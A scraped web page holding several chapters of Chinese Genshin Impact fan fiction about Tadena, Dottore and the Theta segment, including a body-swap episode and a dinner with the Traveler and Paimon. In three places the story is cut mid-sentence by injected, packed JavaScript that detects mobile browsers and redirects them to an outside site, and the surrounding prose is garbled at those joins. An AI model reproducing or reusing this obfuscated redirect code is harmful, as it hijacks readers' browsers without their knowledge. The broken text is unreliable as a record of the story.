“不……Theta,主人,我,我不知道也没关系的,我只是……只需要……完成命令……只需要完成命令就可以了,我不应该,不是,可以不知道……” “可是,‘本体’以前从不会在这种事情上隐瞒你,不是吗?” 那毒蛇又缠绕上来,甚至更紧了。 “‘我’也是名为‘多托雷’的一部分,但我会将所有的一切都告诉你。塔德纳,只要你想知道,我就永远不会隐瞒你。你是远胜这颗能源装置支撑我生命的根源。” Theta牵着我的手,将我的手掌放在他的胸口,掌心紧紧贴合着下面的肉.体。 那里是能源装置的所在之处,就和Omega切片当时胸口的洞口一样的位置。 但与Omega切片,与其他任何切片,甚至是与多托雷都不一样的是,Theta切片的胸口是在起伏着的,那是他刻意伪造出来的人类身体的特征,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我紧紧地抱着Theta,背后来自Theta安抚性的抚摸只会让我觉得越来越空虚,越来越不安,越来越委屈。 心中压抑的念头开始扩大—— 明明,这一切,都是多托雷。 是多托雷纵了我,又圈了我。 所以,他又怎么能,怎么能对我烦弃。 可是…… 可是这样的念头明明这么卑劣,这么不讲道理,这么……低贱。 “塔德纳,你无需去质疑自己的内心。我会一直接纳你的,接纳你的需求,接纳你的一切。” Theta…… “你空虚的内心渴求着锚定的点位,渴求着深入的填满。而我,也唯有我,能够做到这件事。所以,塔德纳,遵从你的内心吧。过来这边。” 切片…… …… 人永远都不可能与自己和解。 这是Theta经常从其他的“自己”口中听到的话。 他们因此名正言顺地嘲讽彼此,蔑视对方,吵架,争执,否认其他人。 Theta只觉得这样的声音过于嘈杂。 他和其他切片不一样。 他从一开始就知道这点。而现在,他为此感到庆幸。 “你的意思是,你比我更适合塔德纳?” “难道不是吗?奉行理性的你,思维模式更加偏向Omega切片的状态,却压抑着自己的本性,伪装我的样子。明明你也知道吧,塔德纳对你的恐惧。那样剧烈,根深蒂固,所以你才不得不,剽窃我的方式接近他,甚至捏造那些根本不存在的,温馨相识的记忆。多么卑劣可笑啊,‘本体’。” Theta自诞生以来第一次如此明晰地与自己的“创造者”对视。 “所以,将塔德纳完完全全交给我吧。按照你的坚持,你的傲慢自大,是只会让塔德纳与你渐行渐远的。而唯有这一点,我无法接受。” 多托雷轻笑一声。自上而下地,高高在上地。 他如同成年人低头观看稚儿狂妄不自知的诳语一样看向Theta。 他问:“那么,与我根生本源的你,又有什么样的自信认为,你不会和我驶向同一个结局呢?” 不。 当然不会。 Theta如此回答。 因为,我不是你啊。 98.愚人节快乐 塔德纳睁开眼的时候是一片黑暗。 见鬼,难不成他一觉睡到了大晚上? 塔德纳在心中如此想着,不禁有些担心自己未经许可的意外长憩会给自己惹来麻烦。 塔德纳感觉到眼睛的部位似乎是被什么坚硬的东西挡住了,他想要伸手摘下,却听到旁边有人在说话。 “【博士】大人,实验尽已准备好了,您要去看一看吗?” 【博士】? 对了,多托雷,【博士】,塔德纳对这个名字可太熟悉了。 那个讨人厌的傲慢自大的家伙。 亦是他要与其纠缠长长久久永无边际时日的其主。 多托雷又有实验要做了吗?难怪今天一直没见到他,估计是忙着准备实验,没空理他。 塔德纳对自己有足够的认知,知道不去染指自己完全不懂的领域——比如多托雷的实验。但相当奇怪的又是,塔德纳其实对多托雷绝大部分,或者说所有的实验结果都知道一些。 大概是因为,多托雷真的很喜欢拉着他说这些东西吧。 明明多托雷很清楚,即使对他说的再多,也不可能从他这里得到什么颇有见地的回应。 塔德纳想着,偶尔觉得多托雷会选择跟他讲这些大抵只是实在是找不到其他的人会愿意听了。 所以,这个人是来找多托雷的。多托雷也在这里吗?他竟然没有把我叫醒。 塔德纳在心中感到疑惑。 那道声音再次响起,这一次,带上了一点诚惶诚恐的,害怕因为表现不佳被惩处的恐惧。 “【博士】大人,是哪里做的不对吗?” “嗯?” 塔德纳这下是真的疑惑了,他扶着椅子的扶手站起来,顺手将眼睛上的东西摘下来。 塔德纳看着手里熟悉的尖喙面具,陷入了沉默。 塔德纳又看着面前恨不得把脖子都垂断,低着头跪在地上瑟瑟发抖的研究员,他的沉默更甚,震耳欲聋。 “这是……在做噩梦吗?”塔德纳虚弱地扶了扶额,目光所及之处,他看到自己现在的身体和装束:完全不符合主流的穿搭,遍布各处的束缚带,以及肩上莫名其妙的鸟头装饰。 见鬼。 这是塔德纳第二次在心中如此咒骂了。 他真希望这一切都只是一场荒谬的噩梦,只要再睁开眼,眼前的一切都不见了。 可这注定只是幻想,塔德纳真的再一次闭上了眼又睁开,但眼前的一切仍然没有改变,面前迟迟没有得到答复的研究员看上去快要害怕地晕过去了。 冷静一点。塔德纳,你现在应该先应付眼前的场景。 塔德纳如此想着,坐回去,模仿着印象里多托雷的模样。他甚至用一只手撑着侧脸让自己斜靠在椅子上,然后翘起二郎腿。 “你……”属于多托雷的声音从自己的嘴里发出,这让塔德纳感到不适应。 “【博士】大人,这,这是实验的具体情况。如,如果是哪里没做好,还,还请大人明示。” 研究员颤颤巍巍地把一份报告递给塔德纳。 塔德纳接过来,翻开的一瞬间稍微定了心神。 太好了,至少不用摸瞎回复了。 塔德纳翻阅着。 有关多元素邪眼共存设计的初代实验方案,是为了解决现下邪眼只能使用单种元素力的状况的实验。 塔德纳记得多托雷和他闲聊时提起过这件事。要让邪眼成为不仅仅是能够取代神之眼的东西,而是完完全全,超越神之眼存在之物。 但是,要如何解决两种元素共存,不会互相反应的问题,还要解决同时引导两种元素对人体损耗过大的问题。 多元素邪眼不是简单的1+1数学问题,就算是能够同一时间使用不同个邪眼的人,也是凤毛麟角。 或者说,理论上只有塔德纳一个人。 塔德纳合上报告,对自己要回复什么有了点数。 “就按这个来吧。” 研究员如释重负:“是,【博士】大人。那,还是按惯例,实验安排在半个小时后开始吗?” “不,先推迟吧。” 开什么玩笑,难不成还真要塔德纳这个半吊子都算不上的门外汉做实验?也不怕实验室又炸了。 “是。” “对了,今天的所有实验都取消,没有命令不要让任何人打扰我。” 研究员露出有些为难的表情:“包括您与【散兵】大人的实验吗?” 斯卡拉姆奇?他和多托雷的什么实验?又是深渊的伤势吗?怎么偏偏是今天。 塔德纳无端感到心烦。 “取消吧。让,”塔德纳思索了一下,“找个人通知【散兵】……一声。” “是。” 研究员离开了。 塔德纳看着实验室的大门关上,从座椅上“唰”地站起来。他踱着步来回走动,脚步越来越烦躁。突然,他停下来,侧过头,从连通天花板的巨大玻璃容器的反光面看到自己现在的倒影。 薄荷色的卷发,冷漠的神情,和那双猩红色的眼睛。 塔德纳更烦躁了。因为他觉得多托雷(塔德纳cos版)简直像是被黑心老板压榨不眠不休加班了十天十夜的苦命社畜,一幅命很苦,随时都要去世的样子,和多托雷(原装版·高冷神秘酷拽ver)完全不一样。 他不能用这副样子出去见人,不然肯定会被别人认出来的。 但是…… 塔德纳想起自己的身体,他的身体现在大概还在分实验室的办公室。 一早的时候他被差遣去了那里取资料,结果中途突然感觉有点头晕,借办公室休息了一会儿,结果没想到却撞上这么离奇的事。 即使是放到稻妻的轻小说里也是相当具有奇幻色彩的桥段。 他的身体现在还在那里吗?如果塔德纳的灵魂如今正在多托雷的身体里的话,那多托雷的灵魂又去了哪里? 或许是在塔德纳的身体里。 ——相当合理的情节不是吗?塔德纳为这个猜想冒出了一身冷汗,不敢细想多托雷会对自己的身体做出什么事。 无论如何,必须要先找到自己的身体。 塔德纳做下决定。 他走过去打开门,和门外一脸不耐烦正准备强行破门而入的斯卡拉姆奇对上视线。 “等等,【散兵】大人,请您,请您不要这样做啊!【博士】大人说过没有命令不可以打扰他……” “哈?就因为这么可笑的理由就要让我白跑一趟吗?别拦着我,我必须要从多托雷那里得到一个合理的答案。” 在塔德纳推门而出的一刹那,这样的争吵瞬间噤声。 斯卡拉姆奇冷笑一声:“哟,我当时谁,这不是我们忙于不知道什么事,随意毁约的二席吗?怎么,我亲自来找你了才舍得出来见我?” 旁边的研究员跪在地上:“抱歉,【博士】大人,是属下无用,没能拦住【散兵】大人,还希望【博士】大人恕罪!” 斯卡拉姆奇冷笑更甚,用一种看“不可理喻的人渣暴君独裁者”的目光看过来。 塔德纳有些沉默。 他明明什么都还没说。 于是他先转头看向研究员。 “你先下去吧。” 研究员颤颤巍巍地狼狈离开,背影莫名有一种逃命的感觉。甚至还差点摔了一跤。 “呵,装模做样的家伙。”斯卡拉姆奇嘲讽道。 “你……”塔德纳看向眼前的人偶,从多托雷的高度显得比平时更加娇小的人偶,斟酌道:“你找我有事?” “你终于做实验把脑子做坏了?”斯卡拉姆奇抱着手臂,“每个月都是这个时间的实验,你别告诉我,连这个你都能忘记。还是说,你是在故意耍我?” 那双紫色的眼睛犀利地射过来,似乎只要回答的人给出的答案让人偶稍微不满意就会被人偶用一千句刀子一般的恶语扎透。 “抱歉。”塔德纳下意识地道歉。 斯卡拉姆奇愣了一下。 斯卡拉姆奇发出尖声的,不敢置信的声音。 “哈?!你,你,你……” 斯卡拉姆奇后退半步,双手挡在身前,眼神惊悚。 “多托雷你吃错药了?!” 糟糕,下意识用自己的身份回答了。 塔德纳有些头疼,看着眼前如避蛇蝎的斯卡拉姆奇,生出一种无力感。 塔德纳顿了顿,努力回想平时多托雷面对其他人说话的样子。 他从喉咙里挤出三分轻蔑,七分凉薄的轻笑。 “一点小小的测试。人在面对巨大的情景变化时总会流露出自己也意想不到的情绪和反应。感到惊喜吗?”塔德纳延长着自己的语调,模仿着叫出那个名字,“斯卡拉姆奇。” “恶趣味……” 斯卡拉姆奇变成熟悉的,面对多托雷时的嫌恶且不爽。 人偶抬头:“你的面具呢?难不成不戴你那个品味奇差的怪面具也是你‘测试’的一环?” “如果我说是呢?” “啧……当我没问。” 其实只是因为戴着面具看不见路而已。 塔德纳一直疑惑多托雷戴着面具是怎么看路的,难不成是面具里有特殊的机关? 如今这个疑惑倒是完全被解答了:面具里根本没有什么特殊的,就和普通的面具一样,戴上去什么都看不见。 多托雷大概是凭借其他的方法视物的。 斯卡拉姆奇:“所以,你突然取消实验到底是在干什么?” “不要心急,人偶。呵,你倒是比我还要更加热衷这件事,这倒有点出乎我的意料了,还是说,让自己的身体被随意地实验和对待也是你……” “闭嘴。”斯卡拉姆奇突兀地打断,语气变得冰冷。 “多托雷,你找死?” 塔德纳有些紧张。 他当然知道说这些话只会触怒眼前的人偶,但他此刻不得不这么做,比起真的要进实验室用人偶做实验,他宁愿现在把斯卡拉姆奇给气走。 塔德纳一遍又一遍地在心中安慰着自己要冷静下来。 “哦?我有哪里说错了吗?”塔德纳摊摊手,“眼前的事实便是如此,斯卡拉姆奇。当然,如果你还有心情的话,我们自然也可以现在返回实验室。不过,容我提前提醒一句,收敛一点那可笑的怒火,我可没有安慰实验体的兴趣,也不想在一点就着的炸药桶上做实验。” “你……!” 斯卡拉姆奇看起来气得不轻。 他甚至懒得说一句辞别的话就气冲冲地离开了,走的时候脚步又重又快,如果不是面对的是“多托雷”,塔德纳相信斯卡拉姆奇大概会选择离开前踹他一脚。 但这一关总算是熬过去了。 塔德纳在心中松了口气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264593|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他乘车到了分实验室,所有的愚人众士兵和研究员看见他都恭敬且害怕地行礼,连视线都不敢飘逸。 塔德纳从未体验过这样的待遇。但他不喜欢被这么对待,即使他很清楚那些人惧怕的其实是多托雷。 他只觉得别扭,像是被这些人无端地隔离进一个罩子里。 马上。 只要找到自己的身体,这一切就都会结束了。塔德纳在心中如此想着。 他走进去。 令人绝望的是,他今天大概运气真的很不好。因为他又和Theta切片撞在了一起。 Theta切片正和身边的人对话,那是【丑角】。 这毫无疑问是最糟糕的事情。 塔德纳目不斜视,准备直接忽略两人。 但被Theta叫住。 “‘本体’?你怎么会出现在这里?” 塔德纳僵了一下,但他很快恢复过来,控制自己的身体转身,看向两人,露出一点三分轻蔑……不,这个梗玩多了就没意思了,毕竟能三七分的是扇形统计图,而不应该是人的笑容。 总之,塔德纳露出很多托雷的笑容。 “【丑角】。”他先向一边的男人打了招呼。 【丑角】平静地朝他点点头。 “以及,Theta Build。这句话或许该是我问你才对。” Theta:“你来找塔德纳?” 塔德纳心里一紧,但还是装成冷静的样子。 “哦?你见到他了?” Theta莫名地笑了一声。 他不再回答,反而回转到与【丑角】的对话上。 “如此,今天的讨论先到这里吧,我会尽快交出一个完善的方案。” “可以。” 塔德纳在一旁等待着,有些心焦。 他不知道为什么Theta刚才要那样笑,不禁有些怀疑Theta是不是看出来了什么。 等到【丑角】离开,Theta走近,塔德纳心中的不安到达了顶点。 “你今天,看起来很不一样。”Theta在半步远的距离停下。 “是吗?”塔德纳不知道该怎么回答。 Theta的笑容更深了。他开始继续移动,继续靠近。 他伸出手,作出一副要触摸的举动,手指越来越近,马上就要落到脸上。 塔德纳的大脑开始急速运转。 等等,Theta这是要干什么?!他要怎么做?!这不太对吧???多托雷和自己的切片平时都是直接上手的吗???? “把你的手拿开,Theta。” 塔德纳恍惚间听到自己的声音。 不远处,他看到“自己”站在两三步的阶上,抱着双臂,冷笑着看过来。 “离我远点,太恶心了。” Theta停下手。 “哎呀哎呀,我开玩笑的。我也不想碰你,虽然理论上而言,如今在你身体里的是塔德纳。但这改变不了什么,我和你一样,一想到要触碰另一个‘自己’,就恶心地想吐出来。” “不过,还真是有趣呢。灵魂的交换吗?这样超出常理的举措。‘本体’,你是如何做到的?” “塔德纳”走过来,或者说是多托雷。 塔德纳看着自己,那明明样子完全一致,脸上的表情却完全不同。就连那双塔德纳总会嫌弃过于柔弱可欺的绿色眼睛,也被多托雷浸染出冰冷和森然的恶意来。 塔德纳缩了缩脖子,但被多托雷拍了拍后背。 “不要用我的身体做出这么窝囊的表情。” “是。”塔德纳心虚地抬起头。 但他的高度只能看见“自己”的后颈,那点半隐没在衣领下的皮肉,交界处泛着点暧昧的颜色——那是昨天晚上纠缠时被多托雷印上的。 那点好不容易鼓起来的勇气又顷刻消散了。 塔德纳忍不住思考:自己今天本来身体还不是特别舒适,中午会乏力借办公室休息大概也是因为部分这样的原因,如此,那多托雷在自己的身体里,岂不是…… 塔德纳不敢细想了。 他的大脑开始拒绝运行处理过载的信息了。 “偶尔看‘自己’的身体做出不一样的表情也很有意思,不是吗?” “看来你很喜欢?我可以努努力,下次让你也体验一下。” “哈哈,如果是在我和塔德纳一起睡觉的时候的话,我可以同意。” 这下换多托雷沉默了。 “滚。”他笑着斥道。 “不要用这么一张脸骂我,一想到现在在塔德纳身体里的是你,我就感到嫉妒,也觉得恶心。如果可以的话,我更希望是塔德纳对我说出这样的话。” “……我倒是从未设想过稍微变更条件,我的切片会因此变成一个……”多托雷顿了一下,用塔德纳那双绿色的,就算再如何刻意冷漠下来也显得柔软的眼睛看向Theta。 “爱好变态的不可名状之物。”他接下自己的话。 “我早就说过,你和Omega一样,都是无趣的家伙。只不过你更会模仿而已。” “模仿?模仿谁?” “你说呢?” 气氛变得僵硬。 塔德纳:“……” 他真的,要待在这里听这些劲爆的话吗? 吵架倒是别带上他啊! 99.第 99 章 我们将一切发自内心又无法自抑的痛苦称之为——“爱”。 …… “啊,塔德纳,原来你在这里啊,找到你了。” 派蒙高兴地挥着手飞过来,在她的旁边,旅行者也悠然地走过来。 “派蒙大人,旅行者大人。”我笑着打招呼,“你们来的可真快,我也才刚到呢。” “嘿嘿,毕竟很久没见到塔德纳,也有点想你了呢。” 旅行者斜眼看着派蒙:“派蒙明明只是想来吃饭吧?一听说有甜品,从早上就开始催我。” 派蒙不好意思地笑笑:“我是很想吃甜品啦,但是我也有想念塔德纳哦。毕竟我们也是朋友,对吧?” 派蒙朝我看过来。 我点头附和。 “当然,能够邀请到全提瓦特最可爱的派蒙大人来品尝甜品,也是我和这些甜品的荣幸。” “诶,这样吗?也,也太夸张了吧。”派蒙挠挠头,“你这样说,我会不好意思的啦。” “在外面不适合聊天,我们还是先进去吧。”我没再继续这个话题。 我伸手做出引导的动作:“两位请跟我到这边来吧,我预定了位置,也按照蒙德最推荐的菜系点了前菜和正餐,至于甜品和饮料,两位大人可以按照自己的心意点单。” “好耶!塔德纳也太贴心了,派蒙的肚子已经饿得在咕咕叫了。” “派蒙下午才吃过松饼的吧。吃这么多,小心长胖,重的再也飞不起来哦。” “才不会吃胖呢!”派蒙气得在空中跺了跺脚,“而且,我也一直在陪着旅行者冒险啊,冒险会消耗体力的。” 旅行者和派蒙互相打趣着。 我的身边从未有过如此活泼的人,也从未目睹过如此轻松,互相打趣的相处日常。虽然很少能找到机会插足进去,但只是在旁边围观二人的对话也能感受到轻松。 将旅行者和派蒙二人引至我事先预定好的座位,旅行者向四周看了看,有些疑惑。 “这里只有我们吗?这个点,一般来讲这家店应该人很多来着。” 派蒙:“对的哦。我之前和旅行者有次来这里吃饭,人太多,根本没有空座留出来,最后只能打包带回。怎么今天这么冷清?” “只是包场了而已。”我回答,“要宴请两位刚拯救了蒙德的尊贵大人物的话,怎么可以在那样嘈杂简陋的环境里呢?所以,我让老板特意留出来半天的时间将整个餐区都空出来。” 如同魔术戏法一般,我翻转手掌,在两人看不见的视角从储物袋里拿出一早准备好的一枝塞西莉亚花插在桌面上的瓶中。随即,我微微弯腰,右手轻放在胸口。 “从现在开始,所有的餐厅服务人员,以及我本人在内,竭诚为二位尊贵的大人服务。” 旅行者似乎不太适应被这样郑重地对待,有些僵硬地往里面坐了一点。 派蒙倒是捧场地鼓了鼓掌。 “塔德纳像是真正的那种贵族管家一样呢。” “是吗?大概是因为工作的原因,对这方面也有所涉及吧。” 派蒙有些惊讶:“所以,原来塔德纳是一名管家吗?” 我回想了一下我那于多托雷的科研实验没有半分助益,每天忙于安排人手分布,帮多托雷拿取文件以及管理住所清洁事宜的副官生活。 点了点头:“差不多吧。工作性质都很相似。” “那,塔德纳的雇主,也是像迪卢克老爷那样的贵族吗?” “嗯……倒也算不上贵族,硬是要说的话,只是身份比较特殊而已。” 我摊了摊手。 愚人众执行官,可不算是身份特殊? 派蒙不明觉厉地点了点头。 “说起来,塔德纳应该不是蒙德人吧。我记得你之前说过,你也是来蒙德旅游的。” 旁边的旅行者也看过来。 我伸手举起桌面上的水壶,倒满两杯后分别递给两人。 如同随口提及般回答:“我大概算是须弥人,不过很早就离开了家乡,现在在至冬工作。” “二位大人如果之后有去至冬的打算的话,到时候我可以为二位导游。” 在与旅行者那双内蕴着些许警惕的金色双眸对上的时候,我让自己的笑容显得更加轻柔。 “对了,旅行者大人,您的头饰似乎有点歪了,”我从储物袋拿出一面小巧的镜子放到桌上,推到少女面前方向的桌子中间,距离少女还有一段距离的位置。 “还请稍微整理一下吧。” 旅行者原本一直保持镇定的表情稍微龟裂了一点,流露出一点少女的慌张出来。 她伸手将镜子拿到手里,展开整理自己头上的花饰。 旅行者的动作很轻柔,也很认真,看得出来很珍视自己头上的花饰。 “旅行者大人很珍视这朵花呢。”让自己的语气带上恰到好处的好奇,我问道,“还从未见过这样美丽的花,是有什么特殊的含义吗?” 旅行者顿了一下才回答道:“我不记得了,但这朵花一直在我的头上。” 派蒙歪歪头,也看向那朵花。 “确实,从派蒙第一次遇见旅行者的时候,旅行者就一直戴着它呢。不过,这样的花,派蒙好像也没有见过。” “我不记得它的来历,但却觉得应该是和我的哥哥有关。”旅行者的表情变得稍微有些落寞。 派蒙的声音也低下来一点:“啊……旅行者的哥哥……” “是城里粘贴的寻人启事上的那位吗?” 旅行者抬头看向我。 我带上点歉意:“抱歉,我只是在经过城门口的时候看见了那些告示有些好奇,如果冒犯到您,我在这里道歉。” “没事。”旅行者摇头,“我会找到哥哥的,无论要用多久。” “是啊是啊,我也会一直陪着旅行者的,就算是走遍七个国家!旅行者也不要灰心,说不定等我们去了璃月就能遇到你的哥哥了。” “璃月?两位大人之后是准备前往璃月吗?”我适当地开口问道。 派蒙下意识地看了一眼旅行者。 旅行者叹了口气:“是有那个打算,不过应该还会在蒙德再呆一段时间。” 说完这些,旅行者便也噤声。 我看出来旅行者不欲继续和我再谈论这个话题,知道旅行者对我有所提防,也便放弃了继续问到底的打算。 “璃月是契约的国度,和自由的蒙德不同,璃月是与神同行的国家,岩神每年都会通过请仙典仪降下一年的指导安排,祝愿二位大人能够在璃月遇见新的机遇。” 旅行者:“……谢谢。” 她的表情缓和了一点,流露出有点纠结的表意。 我笑着引开这个稍显沉重的话题。 想要在这么简短的时间和简陋的几次见面拉拢旅行者的计划看来还是过于艰难,好在我对此早有预料,也并不奢望旅行者能够现在就将我当成知心朋友一般的定位分享自己的故事。 从派蒙对我的态度来看,旅行者大抵对我的印象还算很好。 其实这已经算是超出我的预期了。 至少…… 至少不是一开始就是被当作敌对的一方对抗。 一餐结束,我将旅行者和派蒙送到餐厅门口,便打算在此告别了。 从刚才的饭间稍微得知旅行者最近都会在蒙德境内冒险以及完成冒险家协会的任务,等到时间合适,她们或许就会离开蒙德前往璃月。 在那之前,留给我的时间,已不算多,加上Theta和多托雷的计划…… 我感到难办。 要故意制造一些机会接近旅行者吗? 不,那样做的话,被发现的风险也太大了,而且,要控制度也很难。 在走出餐厅的时候,我停下思考,整理好自己脸上的表情后准备和旅行者辞别。然而就在那一刻,突变骤起,不远处传来尖叫声和人群的喧闹声。 “发生什么事了?!”派蒙有些惊慌。 旅行者的视线在所有方向扫过一遍,很快锁定了发生动乱的地点。那是歌德大酒店,如今的愚人众驻地。 在旅行者和派蒙火速赶去的时候,我犹豫了一下,还是选择跟了上去。 发生动乱的双方是愚人众,以及一名中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272835|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的蒙德男子,在赶到的时候,那名蒙德的男子正在与愚人众的人争论着什么,很快,从男子的身上散发出一阵不祥的黑雾,携带着可怖的火焰的力量朝着愚人众袭击而去。 愚人众的士兵下意识抵挡着,但在还没来得及使用邪眼力量的前一刻,那火焰就瞬间卷入了可怜的两位愚人众士兵并将两人顷刻烧成灰烬。 甚至,那火焰还有要接着蔓延的趋势,随着其主人的失控,要伤害到附近无辜的路人。 “小心!都让开!” 旅行者高声警告着,随即召出一柄长剑,身形敏捷地朝人群包围的最里面突击而去。 那道金色的身影犹如闪电,穿梭过人群,直直取向中间失控的男人。旅行者伸手用剑柄打断男人的动作,在男人的肩颈上用力一击打晕男人。 从男人紧握的手掌中心似乎掉出什么,我踮了踮脚。 那东西被旅行者很快捡起收紧,我只瞟到了短短一眼。 但那已经足够了,对那玩意儿的熟悉程度足够支撑我认出那件东西。 是邪眼。 西风骑士团的人很快赶到,负责疏散群众和控制现场。 我在骑士团的人里面看到熟悉的人,于是掀起兜帽遮住自己的发色,隐没在人群中。 凯亚带着人走到旅行者身边。 “旅行者,你没事吧?” 旅行者摇了摇头。 派蒙拍了拍胸口:“哇,真的好危险,刚才的火焰,还有……愚人众的那两个士兵。到底是发生了什么?那个火焰?” 凯亚愣了一下,眼神变得犀利。 “火焰?是什么样子的火焰?黑色的吗?” “不……”旅行者回忆着,“虽然当时有黑色的雾气,但火焰是正常的颜色。对了,我从这个人的手里发现了这个东西。” 旅行者将邪眼拿出来。 凯亚接过去翻来覆去的查看了一下,神色变得严肃且冷凝。 “竟然会是这个东西……” 旅行者:“你认识这个?” 凯亚叹了口气:“说来话长。这里不是讨论这件事的地方,跟我来吧。” “等等。”旅行者叫住凯亚,“我还有一个朋友在附近,先等我和他说一声。” 她在周围看了一圈:“派蒙,你有看到塔德纳去哪里了吗?” 派蒙飞高了一点,把手举在眼前观望着四周。 “好像……没有,塔德纳不会是跟丢了吧?怎么办?” “塔德纳?”凯亚的神情变得有些奇怪,他掂量着手中的邪眼,沉默了一会儿。 “哈哈,原来你们说的朋友是他。” 派蒙:“这个语气……难不成凯亚也认识塔德纳吗?” “嗯,当然,或者说,见过几面,关系还可以。”凯亚笑道,“不过,如果他也在这里的话,这件事就好解决多了。” “为什么?” “塔德纳没有跟你们提起过他的身份吗?”凯亚有些惊讶地问道。 “身份……塔德纳不是什么大人物的管家吗?”派蒙挠了挠头。 凯亚愣了一下,随即笑出声。 “哈哈,管家,当然,当然也可以这么说。不过,除开‘管家’,他还有另一个身份。” 派蒙:“诶?!是什么?” 凯亚看着好奇心被吊起来的派蒙,嘴角勾了勾。 他招了招手:“派蒙你靠过来一点,这么重要的消息,当然是要悄悄说才行。对了,还有旅行者,你也靠近一点。” 旅行者有些犹疑,但还是点了点头,当真靠近过去。 “这话只悄悄地告诉你们哦,你们听完后不要大肆宣扬。其实塔德纳的真实身份是……” “凯亚先生,拿我开玩笑的话就到此为止吧,旅行者大人和派蒙大人会当真的。” 我拨开人群,无奈地走出去,和那只势在必得的十字星眼对上。 凯亚直起腰,笑眯眯地看着我。 “哎呀,毕竟,不用这个方法的话,你怎么会主动出现呢?好不容易来一趟蒙德,居然连和老朋友打个招呼都不愿意吗?还真是冷酷。” 100.第 100 章 因为现场过于混乱,谈话点定在了天使的馈赠。 幸好在歌德大酒店的现场并没有碰到认得我的愚人众,以至于让我顺利地蒙混过去,不至于在旅行者面前暴露身份。 不过,即使如此,现下的局面对我也非常不利。 我看了一眼面前笑眯眯的凯亚,再看了一眼凯亚旁边坐着擦拭酒杯的迪卢克,又看了一眼身边把我堵在座位最里面无路可逃,充当门神的旅行者,感到一点细微的崩溃。 派蒙看了看旅行者,又看了看其他人。 “呃……大家为什么都不说话?气氛好奇怪……” “哈哈,既然在场的大家都是值得信赖的人,”凯亚的视线在我的身上稍微停留了一下,但很快转开。 他从怀中取出刚才的邪眼:“这是刚刚旅行者从现场拿到的东西。” 迪卢克的眼神在看到邪眼的一瞬间转变:“竟然是这个东西……” 派蒙:“怎么迪卢克老爷也认识这个吗?” 迪卢克没有回答派蒙,只是表情严肃地询问凯亚:“这个东西,是从谁的身上拿到的?” 凯亚:“引发混乱的有两方人,除去愚人众,另一人则是被旅行者制服的那位中年男子。” 他看向旅行者,旅行者点了点头。 “引起混乱的男子是面包房的店长,根据当时的一些目击证明,是那位店长大叔主动找到愚人众,想要让愚人众还回他的儿子,也就是……” “安东尼,对吧?” 凯亚点头。 迪卢克眉头紧锁,神色有些不太好看。 派蒙有些迷茫:“你们,在说什么啊?安东尼是谁?到底发生什么了啊?” 凯亚:“旅行者和派蒙已经见过那位【女士】了,对吧?” 旅行者:“愚人众的执行官……” 派蒙:“那个高高在上又脾气不好的家伙,呜呃,派蒙讨厌那个人。” 凯亚摊手:“愚人众统共有十一位执行官,那位【女士】是第八席。既然旅行者早已领受过那位执行官的行事风格,我就不在此多加赘述了。根据骑士团的情报,【女士】早在几天前就已离开了蒙德,虽然明面上的情报来看,并未有新的执行官接任【女士】在蒙德的任务,不过现在看来,恐怕来了一个更麻烦的家伙。” “愚人众执行官第二席,【博士】。那可是比【女士】还要更难缠的家伙。而这个东西,就是【博士】的杰作。” 说到这里,凯亚突然发出一声有些夸张的叹气声。 “不过,很可惜的是,骑士团对这样东西的了解并不算多,如果【博士】的计划是在蒙德推行这样东西的话,连这样东西叫什么都不知道的骑士团该怎样做才能应对呢?如果,有这方面的专家帮助我们就好了——” “你说对吧?塔德纳?” 我端详着面前桌子上摆放的一方透明酒杯。 那只酒杯,有着极富设计性的四方棱角设计,握手处刻有西风之狮的花样。看的出来这只酒杯的用料极为考究,表面光滑细腻,即使经由多次擦拭,也不会残存多余的水滴。 既不成股流下,也不凝聚成滴。 我在心中对这只酒杯做出一个无比客观的评价: 相当酒杯的酒杯。 一只肤色较深的手伸过来,盖在杯口将这一只从客观因素上来讲无论怎么看都十分合格的酒杯挪离我的视线。 凯亚笑眯眯地,像是根本不在意我刚才的忽视一般。 他重复道:“所以,你觉得呢,塔德纳?” 我的视线随着那深色的手指间稍微露出的一点点杯沿的面积移动,直到凯亚将杯子完全扔给迪卢克。 迪卢克一脸平静地接过,接替掉手里正在擦的那一只高脚杯。 “等等,为什么要问塔德纳?我有点搞不清楚了。”派蒙摇摇头,“你们是不是有什么事情瞒着我和旅行者?” 凯亚只是露出一个神秘的微笑。 我叹了口气,略微挺直背,用比较端正的姿态坐着。 “邪眼,一种仿照神之眼制造而成的元素引导装置。各位既然都能使用元素力,对这个应该不会陌生。而且,”我看向迪卢克,“迪卢克老爷不也有一个类似的吗?” 众人的视线齐刷刷转向迪卢克。 迪卢克沉默了一下:“……我已经扔掉了。” 我对此稍微有些意外。 毕竟从我得到的情报里来看,那枚特殊的邪眼实际上是迪卢克父亲留下的东西,对迪卢克或许也算得上是意义非凡。 尽管更多的时候是负面消极的意义。 不过,这都与我没什么关系就是了。 